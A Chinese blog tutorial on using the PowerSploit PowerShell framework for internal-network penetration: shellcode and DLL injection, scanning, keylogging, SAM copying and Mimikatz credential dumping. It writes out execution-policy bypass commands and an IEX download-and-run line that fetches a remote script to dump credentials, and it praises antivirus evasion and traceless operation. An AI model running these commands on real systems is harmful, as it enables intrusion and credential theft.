Powershell内网渗透利器之PowerSploit

PowerSploit是Microsoft PowerShell模块的集合,可用于在评估的所有阶段帮助渗透测试人员。

0×00 过渡

之前提到当在执行powershell脚本时,由于默认策略的缘故,是会报错的,因此也出现了几种逃过的情况:

本地权限绕过:PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1,此外还可以通过本地隐藏权限进行绕过:PowerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1

IEX下载远程PS1脚本权限绕过执行(在本例PowerSploit框架利用中会使用):powershell.exe “IEX (New-Object Net.WebClient).DownloadString(‘http://网址/对应脚本名称’); Invoke-Mimikatz -DumpCreds”

0×01 PowerSploit简介

PowerSploit是Microsoft PowerShell模块的集合,可用于在评估的所有阶段帮助渗透测试人员。PowerSploit由以下模块和脚本组成:

11.jpg

本次将会展示CodeExecution模块、Recon模块、Exfiltration模块以及Privesc模块的部分主流的脚本的渗透实例。

0×02 利用PowerSploit框架进行渗透的一些实例

0×00 准备工作

a) 在kali(因为kali上集成很多好用的工具以及环境)上使用命令git clone https://github.com/mattifestation/PowerSploit.git 下载最新版的PowerSploit脚本文件;或者直接进入https://github.com/PowerShellMafia/PowerSploit 下载脚本文件。

b) 打开一个web服务,并将下载的脚本文件放入web中,供我们通过IEX调用。

c) 打开kali中的metasploit,本次的测试有部分需要通过metasploit结合完成。

0×01 CodeExecution模块

a) 调用Invoke-Shellcode将shellcode注入到本地的Powershell。

1)打开一个web服务,并将PowerSploit脚本添加到web中,以便后续实验中可通过IEX进行下载调用(此处我在kali中开启apache2服务)。

服务 1.png

服务 2.png

2)利用msfvenom生成一个反弹木马,以供invoke-shellcode注入,同样生成的反弹马放入web中。

web.png

3)这里为了更好的展现效果,因此直接在powershell中进行操作,通过IEX下载调用invoke-shellcode以及生成的反弹马。

fantan.png

4)在kali中打开metasploit并设置好监听(只需设置PAYLOAD、LHOST、LPORT)。

jianting  1.png

jianting  2.png

5)在powershell中调用invoke-shellcode(可通过help命令来查询具体操作以及例子)。

例子.png

注意:若此处关闭powershell,那么连接也将终断,因为承载木马的powershell被关闭了。

b) 调用invoke-shellcode将shellcode注入到指定的进程中。

1)前面步骤和a的步骤一致,唯一不同的就是在最后的命令上,首先,查看我们需要注入的进程,建议可注入到系统的进程,因为一旦进程关闭,那么监听也将终断,因此系统进程一般不会被关闭,注意:不能注入到像360等驱动中,不然会被强制关闭。

关闭 1.png

关闭 2.png

注意:和a类似的,若关闭notepad进程,则连接中断。

c) 调用invoke-dllinjection将DLL注入到进程中。

1)通过msfvenom生成DLL的反弹木马,并下载到目标主机中(为了方便,直接将dll文件下载至powershell运行的桌面),在实际环境中,也可以通过该方法进行传输dll文件。

文件 1.png

文件 2.png

2)设置好监听。

监听  1.png

监听  2.png

3)通过IEX调用下载并调用invoke-dllinjection,将DLL文件直接注入到notepad进程中。

进程  1.png

进程 2.png

进程 3.png

0×02 Recon模块

a) 调用invoke-Portscan扫描内网主机的端口。

1)通过IEX下载并调用invoke-portscan。

x  1.png

x  2.pngx  3.png

注意:这里用的全端口扫描,不建议这么做,耗费时间太长,可以扫描一些常规端口。

b) 调用Get-HttpStatus扫描目标站点的目录。

1)通过IEX下载并调用Get-HttpStatus。

s  1.png

s  2.pngs  3.pngs  4.png

c) 调用Invoke-ReverseDnsLookup扫描内网主机的ip对应的主机名。

1)通过IEX下载并调用Invoke-ReverseDnsLookup。

up   1.png

up   2.png

0×03 Exfiltration模块

a) 调用Get-Keystrokes记录用户的键盘输入。

1)通过IEX下载并调用Get-Keystrokes。

s  1.png

s  2.png

b) 调用Invoke-NinjaCopy复制一些系统无法复制的文件如sam文件。

1)通过IEX下载并调用Get-NinjaCopy。

正常情况下复制:

fuzhi  1.png

通过Invoke-NinjaCopy进行复制:

fuzhi  2.png

注意:这个脚本是要有管理员权限下才可以正常执行,否则会报错,毕竟是要拷贝系统文件,只是它做了管理员做不了的事。

c) 调用Invoke-Mimikatz(内网神器)抓取内存中的明文密码。

1)通过IEX下载并调用Invoke-Mimikatz。

tz  1.png

tz  2.png

注意:这个脚本是要有管理员权限下才可以正常执行,否则会报错,毕竟涉及到密码之类的敏感信息,哪怕是管理员想看到明文的,也是很难实现的。

0×03 小结

PowerSploit也许有些模块有些脚本看似用处很小,但是我认为其实不然,可能是我们的经验阅历不高,并未遇到一个适合的环境或者时机。不过总体感觉PowerShell内网渗透还是很强大的,它不仅可以免杀执行,还可以毫无痕迹地在电脑中进行操作。

对于PowerShell内网渗透就这些了,也许不够多,但是小编想将一句话送给大家,是一个大神讲过的—-“工具就像武器,要多用多练;要在实践中灵活利用,不能死板照搬”,想学好一个工具,多进行运用远比停留在理论学习来得强。最后希望大家能够在PowerShell内网渗透中获取更多的“宝藏”。

qrcode_for_gh_223e082fe8a7_344.jpg

发表评论

已有 1 条评论

取消
Loading...
css.php